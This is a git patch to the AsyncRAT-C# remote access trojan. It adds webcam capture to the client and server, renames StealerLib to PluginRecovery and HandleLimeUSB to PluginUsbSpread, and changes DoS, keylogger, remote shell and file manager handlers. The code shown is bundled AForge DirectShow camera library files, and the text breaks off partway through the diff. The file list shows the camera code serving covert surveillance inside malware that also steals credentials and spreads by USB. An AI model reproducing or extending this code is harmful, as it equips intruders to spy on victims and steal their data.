From 583da6a7adaebb2cf2096dc3029a8829953a3402 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 21 Jun 2019 01:12:49 +0300 Subject: [PATCH] Update v0.5.2 --- .../Video.DirectShow/CameraControlProperty.cs | 67 + .../AForge/Video.DirectShow/FilterInfo.cs | 193 ++ .../Video.DirectShow/FilterInfoCollection.cs | 138 ++ .../Internals/IAMCameraControl.cs | 81 + .../Video.DirectShow/Internals/IAMCrossbar.cs | 88 + .../Internals/IAMStreamConfig.cs | 74 + .../Internals/IAMVideoControl.cs | 112 ++ .../Video.DirectShow/Internals/IBaseFilter.cs | 161 ++ .../Internals/ICaptureGraphBuilder2.cs | 192 ++ .../Internals/ICreateDevEnum.cs | 37 + .../Internals/IEnumFilters.cs | 71 + .../Video.DirectShow/Internals/IEnumPins.cs | 68 + .../Internals/IFilterGraph.cs | 113 ++ .../Internals/IFilterGraph2.cs | 257 +++ .../Internals/IGraphBuilder.cs | 198 ++ .../Internals/IMediaControl.cs | 118 ++ .../Internals/IMediaEventEx.cs | 126 ++ .../AForge/Video.DirectShow/Internals/IPin.cs | 191 ++ .../Internals/IPropertyBag.cs | 53 + .../Internals/IReferenceClock.cs | 87 + .../Internals/ISampleGrabber.cs | 103 + .../Internals/ISampleGrabberCB.cs | 47 + .../Internals/ISpecifyPropertyPages.cs | 36 + .../Video.DirectShow/Internals/Structures.cs | 518 +++++ .../Video.DirectShow/Internals/Uuids.cs | 299 +++ .../Video.DirectShow/Internals/Win32.cs | 102 + .../Video.DirectShow/PhysicalConnectorType.cs | 123 ++ .../Client/AForge/Video.DirectShow/Uuids.cs | 55 + .../Video.DirectShow/VideoCapabilities.cs | 245 +++ .../Video.DirectShow/VideoCaptureDevice.cs | 1698 +++++++++++++++++ .../AForge/Video.DirectShow/VideoInput.cs | 47 + .../Client/AForge/Video/IVideoSource.cs | 126 ++ .../Client/AForge/Video/VideoEvents.cs | 125 ++ .../{Cryptography => Algorithm}/Aes256.cs | 2 +- .../{Cryptography => Algorithm}/Sha256.cs | 2 +- AsyncRAT-C#/Client/Client.csproj | 45 +- .../{Sockets => Connection}/ClientSocket.cs | 32 +- .../{Sockets => Connection}/TempSocket.cs | 31 +- .../Client/Handle Packet/HandleBotKiller.cs | 2 +- AsyncRAT-C#/Client/Handle Packet/HandleDos.cs | 65 +- .../Client/Handle Packet/HandleFileManager.cs | 7 +- .../Client/Handle Packet/HandleLimeLogger.cs | 2 +- .../Client/Handle Packet/HandleLimeUSB.cs | 6 +- .../Client/Handle Packet/HandlePlugin.cs | 32 + .../Handle Packet/HandleProcessManager.cs | 2 +- .../Handle Packet/HandleRemoteDesktop.cs | 32 +- .../Handle Packet/HandleReportWindow.cs | 2 +- .../Client/Handle Packet/HandleSendTo.cs | 5 +- .../Client/Handle Packet/HandleShell.cs | 2 +- .../Client/Handle Packet/HandleThumbnails.cs | 2 +- .../Client/Handle Packet/HandleTorrent.cs | 2 +- .../Client/Handle Packet/HandleUninstall.cs | 7 +- .../Client/Handle Packet/HandleWebcam.cs | 213 +++ .../Client/Handle Packet/HandlerRecovery.cs | 6 +- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 12 +- AsyncRAT-C#/Client/Helper/FormChat.cs | 2 +- AsyncRAT-C#/Client/Helper/Methods.cs | 23 +- AsyncRAT-C#/Client/Install/NormalStartup.cs | 19 +- AsyncRAT-C#/Client/Program.cs | 2 +- AsyncRAT-C#/Client/Settings.cs | 14 +- .../{Cryptography => Algorithm}/Aes256.cs | 2 +- .../{Cryptography => Algorithm}/Sha256.cs | 2 +- .../Server/{Socket => Connection}/Clients.cs | 70 +- .../Server/{Socket => Connection}/Listener.cs | 5 +- AsyncRAT-C#/Server/Forms/Form1.Designer.cs | 67 +- AsyncRAT-C#/Server/Forms/Form1.cs | 86 +- .../Server/Forms/FormBuilder.Designer.cs | 24 +- AsyncRAT-C#/Server/Forms/FormBuilder.cs | 3 +- .../Server/Forms/FormCertificate.Designer.cs | 2 +- AsyncRAT-C#/Server/Forms/FormChat.cs | 16 +- AsyncRAT-C#/Server/Forms/FormDOS.cs | 2 +- AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs | 6 +- AsyncRAT-C#/Server/Forms/FormDownloadFile.cs | 58 +- .../Server/Forms/FormFileManager.Designer.cs | 88 +- AsyncRAT-C#/Server/Forms/FormFileManager.cs | 154 +- AsyncRAT-C#/Server/Forms/FormFileManager.resx | 835 ++++---- .../Server/Forms/FormKeylogger.Designer.cs | 1 + AsyncRAT-C#/Server/Forms/FormKeylogger.cs | 18 +- .../Server/Forms/FormProcessManager.cs | 17 +- .../Forms/FormRemoteDesktop.Designer.cs | 17 +- AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs | 63 +- .../Server/Forms/FormRemoteDesktop.resx | 3 + .../Server/Forms/FormSendFileToMemory.cs | 14 +- AsyncRAT-C#/Server/Forms/FormShell.cs | 14 +- AsyncRAT-C#/Server/Forms/FormTorrent.cs | 30 +- .../Server/Forms/FormWebcam.Designer.cs | 195 ++ AsyncRAT-C#/Server/Forms/FormWebcam.cs | 124 ++ AsyncRAT-C#/Server/Forms/FormWebcam.resx | 583 ++++++ .../Server/Handle Packet/HandleChat.cs | 34 +- .../Server/Handle Packet/HandleFileManager.cs | 290 ++- .../Server/Handle Packet/HandleKeylogger.cs | 12 +- .../Server/Handle Packet/HandleListView.cs | 49 +- .../Server/Handle Packet/HandleLogs.cs | 24 +- .../Server/Handle Packet/HandlePing.cs | 22 +- .../Handle Packet/HandleProcessManager.cs | 42 +- .../Server/Handle Packet/HandleRecovery.cs | 6 +- .../Handle Packet/HandleRemoteDesktop.cs | 80 +- .../Handle Packet/HandleReportWindow.cs | 16 +- .../Server/Handle Packet/HandleShell.cs | 18 +- .../Server/Handle Packet/HandleThumbnails.cs | 46 +- .../Server/Handle Packet/HandleWebcam.cs | 103 + AsyncRAT-C#/Server/Handle Packet/Packet.cs | 203 +- AsyncRAT-C#/Server/Helper/AsyncTask.cs | 2 +- .../Server/Properties/Resources.Designer.cs | 98 +- AsyncRAT-C#/Server/Properties/Resources.resx | 49 +- .../Resources/AsyncRAT-Sharp.exe.config | 60 - AsyncRAT-C#/Server/Resources/Costura.xml | 18 - AsyncRAT-C#/Server/Resources/IconLib.dll | Bin 57856 -> 0 bytes AsyncRAT-C#/Server/Resources/Plugin.dll | Bin 8192 -> 0 bytes AsyncRAT-C#/Server/Resources/PluginCam.dll | Bin 0 -> 84480 bytes .../Server/Resources/PluginDesktop.dll | Bin 0 -> 30720 bytes .../{StealerLib.dll => PluginRecovery.dll} | Bin 385536 -> 385536 bytes AsyncRAT-C#/Server/Resources/PluginRunPE.dll | Bin 0 -> 8704 bytes ...{HandleLimeUSB.dll => PluginUsbSpread.dll} | Bin 40448 -> 40448 bytes .../Server/Resources/circle-loading-gif.gif | Bin 245347 -> 0 bytes AsyncRAT-C#/Server/Resources/webcam.png | Bin 0 -> 1184 bytes AsyncRAT-C#/Server/Server.csproj | 30 +- AsyncRAT-C#/Server/Settings.cs | 6 +- 118 files changed, 8804 insertions(+), 1423 deletions(-) create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs create mode 100644 AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs rename AsyncRAT-C#/Client/{Cryptography => Algorithm}/Aes256.cs (99%) rename AsyncRAT-C#/Client/{Cryptography => Algorithm}/Sha256.cs (96%) rename AsyncRAT-C#/Client/{Sockets => Connection}/ClientSocket.cs (87%) rename AsyncRAT-C#/Client/{Sockets => Connection}/TempSocket.cs (85%) create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs rename AsyncRAT-C#/Server/{Cryptography => Algorithm}/Aes256.cs (99%) rename AsyncRAT-C#/Server/{Cryptography => Algorithm}/Sha256.cs (96%) rename AsyncRAT-C#/Server/{Socket => Connection}/Clients.cs (70%) rename AsyncRAT-C#/Server/{Socket => Connection}/Listener.cs (93%) create mode 100644 AsyncRAT-C#/Server/Forms/FormWebcam.Designer.cs create mode 100644 AsyncRAT-C#/Server/Forms/FormWebcam.cs create mode 100644 AsyncRAT-C#/Server/Forms/FormWebcam.resx create mode 100644 AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs delete mode 100644 AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config delete mode 100644 AsyncRAT-C#/Server/Resources/Costura.xml delete mode 100644 AsyncRAT-C#/Server/Resources/IconLib.dll delete mode 100644 AsyncRAT-C#/Server/Resources/Plugin.dll create mode 100644 AsyncRAT-C#/Server/Resources/PluginCam.dll create mode 100644 AsyncRAT-C#/Server/Resources/PluginDesktop.dll rename AsyncRAT-C#/Server/Resources/{StealerLib.dll => PluginRecovery.dll} (92%) create mode 100644 AsyncRAT-C#/Server/Resources/PluginRunPE.dll rename AsyncRAT-C#/Server/Resources/{HandleLimeUSB.dll => PluginUsbSpread.dll} (79%) delete mode 100644 AsyncRAT-C#/Server/Resources/circle-loading-gif.gif create mode 100644 AsyncRAT-C#/Server/Resources/webcam.png diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs new file mode 100644 index 0000000..8ab1f6c --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs @@ -0,0 +1,67 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// The enumeration specifies a setting on a camera. + /// + public enum CameraControlProperty + { + /// + /// Pan control. + /// + Pan = 0, + /// + /// Tilt control. + /// + Tilt, + /// + /// Roll control. + /// + Roll, + /// + /// Zoom control. + /// + Zoom, + /// + /// Exposure control. + /// + Exposure, + /// + /// Iris control. + /// + Iris, + /// + /// Focus control. + /// + Focus + } + + /// + /// The enumeration defines whether a camera setting is controlled manually or automatically. + /// + [Flags] + public enum CameraControlFlags + { + /// + /// No control flag. + /// + None = 0x0, + /// + /// Auto control Flag. + /// + Auto = 0x0001, + /// + /// Manual control Flag. + /// + Manual = 0x0002 + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs new file mode 100644 index 0000000..c70e966 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs @@ -0,0 +1,193 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// DirectShow filter information. + /// + /// + public class FilterInfo : IComparable + { + /// + /// Filter name. + /// + public string Name { get; private set; } + + /// + /// Filters's moniker string. + /// + /// + public string MonikerString { get; private set; } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filters's moniker string. + /// + public FilterInfo( string monikerString ) + { + MonikerString = monikerString; + Name = GetName( monikerString ); + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filter's moniker object. + /// + internal FilterInfo( IMoniker moniker ) + { + MonikerString = GetMonikerString( moniker ); + Name = GetName( moniker ); + } + + /// + /// Compare the object with another instance of this class. + /// + /// + /// Object to compare with. + /// + /// A signed number indicating the relative values of this instance and value. + /// + public int CompareTo( object value ) + { + FilterInfo f = (FilterInfo) value; + + if ( f == null ) + return 1; + + return ( this.Name.CompareTo( f.Name ) ); + } + + /// + /// Create an instance of the filter. + /// + /// + /// Filter's moniker string. + /// + /// Returns filter's object, which implements IBaseFilter interface. + /// + /// The returned filter's object should be released using Marshal.ReleaseComObject(). + /// + public static object CreateFilter( string filterMoniker ) + { + // filter's object + object filterObject = null; + // bind context and moniker objects + IBindCtx bindCtx = null; + IMoniker moniker = null; + + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) + { + // get device base filter + Guid filterId = typeof( IBaseFilter ).GUID; + moniker.BindToObject( null, null, ref filterId, out filterObject ); + + Marshal.ReleaseComObject( moniker ); + } + Marshal.ReleaseComObject( bindCtx ); + } + return filterObject; + } + + // + // Get moniker string of the moniker + // + private string GetMonikerString( IMoniker moniker ) + { + string str; + moniker.GetDisplayName( null, null, out str ); + return str; + } + + // + // Get filter name represented by the moniker + // + private string GetName( IMoniker moniker ) + { + Object bagObj = null; + IPropertyBag bag = null; + + try + { + Guid bagId = typeof( IPropertyBag ).GUID; + // get property bag of the moniker + moniker.BindToStorage( null, null, ref bagId, out bagObj ); + bag = (IPropertyBag) bagObj; + + // read FriendlyName + object val = ""; + int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + // get it as string + string ret = (string) val; + if ( ( ret == null ) || ( ret.Length < 1 ) ) + throw new ApplicationException( ); + + return ret; + } + catch ( Exception ) + { + return ""; + } + finally + { + // release all COM objects + bag = null; + if ( bagObj != null ) + { + Marshal.ReleaseComObject( bagObj ); + bagObj = null; + } + } + } + + // + // Get filter name represented by the moniker string + // + private string GetName( string monikerString ) + { + IBindCtx bindCtx = null; + IMoniker moniker = null; + String name = ""; + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) + { + // get device name + name = GetName( moniker ); + + Marshal.ReleaseComObject( moniker ); + moniker = null; + } + Marshal.ReleaseComObject( bindCtx ); + bindCtx = null; + } + return name; + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs new file mode 100644 index 0000000..dabd30d --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs @@ -0,0 +1,138 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// Collection of filters' information objects. + /// + /// + /// The class allows to enumerate DirectShow filters of specified category. For + /// a list of categories see . + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // list devices + /// foreach ( FilterInfo device in videoDevices ) + /// { + /// // ... + /// } + /// + /// + /// + public class FilterInfoCollection : CollectionBase + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Guid of DirectShow filter category. See . + /// + /// Build collection of filters' information objects for the + /// specified filter category. + /// + public FilterInfoCollection( Guid category ) + { + CollectFilters( category ); + } + + /// + /// Get filter information object. + /// + /// + /// Index of filter information object to retrieve. + /// + /// Filter information object. + /// + public FilterInfo this[int index] + { + get + { + return ( (FilterInfo) InnerList[index] ); + } + } + + // Collect filters of specified category + private void CollectFilters( Guid category ) + { + object comObj = null; + ICreateDevEnum enumDev = null; + IEnumMoniker enumMon = null; + IMoniker[] devMon = new IMoniker[1]; + int hr; + + try + { + // Get the system device enumerator + Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); + if ( srvType == null ) + throw new ApplicationException( "Failed creating device enumerator" ); + + // create device enumerator + comObj = Activator.CreateInstance( srvType ); + enumDev = (ICreateDevEnum) comObj; + + // Create an enumerator to find filters of specified category + hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); + if ( hr != 0 ) + throw new ApplicationException( "No devices of the category" ); + + // Collect all filters + IntPtr n = IntPtr.Zero; + while ( true ) + { + // Get next filter + hr = enumMon.Next( 1, devMon, n ); + if ( ( hr != 0 ) || ( devMon[0] == null ) ) + break; + + // Add the filter + FilterInfo filter = new FilterInfo( devMon[0] ); + InnerList.Add( filter ); + + // Release COM object + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + + // Sort the collection + InnerList.Sort( ); + } + catch + { + } + finally + { + // release all COM objects + enumDev = null; + if ( comObj != null ) + { + Marshal.ReleaseComObject( comObj ); + comObj = null; + } + if ( enumMon != null ) + { + Marshal.ReleaseComObject( enumMon ); + enumMon = null; + } + if ( devMon[0] != null ) + { + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + } + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs new file mode 100644 index 0000000..c207797 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs @@ -0,0 +1,81 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, + /// or shutter speed. To obtain this interface, query the filter that controls the camera. + /// + [ComImport, + Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCameraControl + { + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRange( + [In] CameraControlProperty Property, + [Out] out int pMin, + [Out] out int pMax, + [Out] out int pSteppingDelta, + [Out] out int pDefault, + [Out] out CameraControlFlags pCapsFlags + ); + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Set( + [In] CameraControlProperty Property, + [In] int lValue, + [In] CameraControlFlags Flags + ); + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives a member of the CameraControlFlags enumeration. + /// The returned value indicates whether the setting is controlled manually or automatically. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Get( + [In] CameraControlProperty Property, + [Out] out int lValue, + [Out] out CameraControlFlags Flags + ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs new file mode 100644 index 0000000..b67fc09 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs @@ -0,0 +1,88 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +using System; +using System.Runtime.InteropServices; + +namespace AForge.Video.DirectShow.Internals +{ + /// + /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCrossbar + { + /// + /// Retrieves the number of input and output pins on the crossbar filter. + /// + /// + /// Variable that receives the number of output pins. + /// Variable that receives the number of input pins. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); + + /// + /// Queries whether a specified input pin can be routed to a specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Routes an input pin to an output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of the input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Route( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Retrieves the input pin that is currently routed to the specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); + + /// + /// Retrieves information about a specified pin. + /// + /// + /// Specifies the direction of the pin. Use one of the following values. + /// Specifies the index of the pin. + /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. + /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_CrossbarPinInfo( + [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, + [In] int pinIndex, + [Out] out int pinIndexRelated, + [Out] out PhysicalConnectorType physicalType ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs new file mode 100644 index 0000000..e72f06e --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs @@ -0,0 +1,74 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface sets the output format on certain capture and compression filters, + /// for both audio and video. + /// + /// + [ComImport, + Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMStreamConfig + { + /// + /// Set the output format on the pin. + /// + /// + /// Media type to set. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the audio or video stream's format. + /// + /// + /// Retrieved media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); + + /// + /// Retrieve the number of format capabilities that this pin supports. + /// + /// + /// Variable that receives the number of format capabilities. + /// Variable that receives the size of the configuration structure in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNumberOfCapabilities( out int count, out int size ); + + /// + /// Retrieve a set of format capabilities. + /// + /// + /// Specifies the format capability to retrieve, indexed from zero. + /// Retrieved media type. + /// Byte array, which receives information about capabilities. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetStreamCaps( + [In] int index, + [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, + [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps + ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs new file mode 100644 index 0000000..cb57dfe --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs @@ -0,0 +1,112 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface controls certain video capture operations such as enumerating available + /// frame rates and image orientation. + /// + /// + [ComImport, + Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMVideoControl + { + /// + /// Retrieves the capabilities of the underlying hardware. + /// + /// + /// Pin to query capabilities from. + /// Get capabilities of the specified pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); + + /// + /// Sets the video control mode of operation. + /// + /// + /// The pin to set the video control mode on. + /// Value specifying a combination of the flags to set the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); + + /// + /// Retrieves the video control mode of operation. + /// + /// + /// The pin to retrieve the video control mode from. + /// Gets combination of flags, which specify the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); + + /// + /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. + /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested + /// because of bandwidth availability. This is only available during video streaming. + /// + /// + /// The pin to retrieve the frame rate from. + /// Gets frame rate in frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); + + /// + /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections + /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth + /// availability. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out long maxAvailableFrameRate ); + + /// + /// Retrieves a list of available frame rates. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Number of elements in the list of frame rates. + /// Array of frame rates in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFrameRateList( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out int listSize, + [Out] out IntPtr frameRate ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs 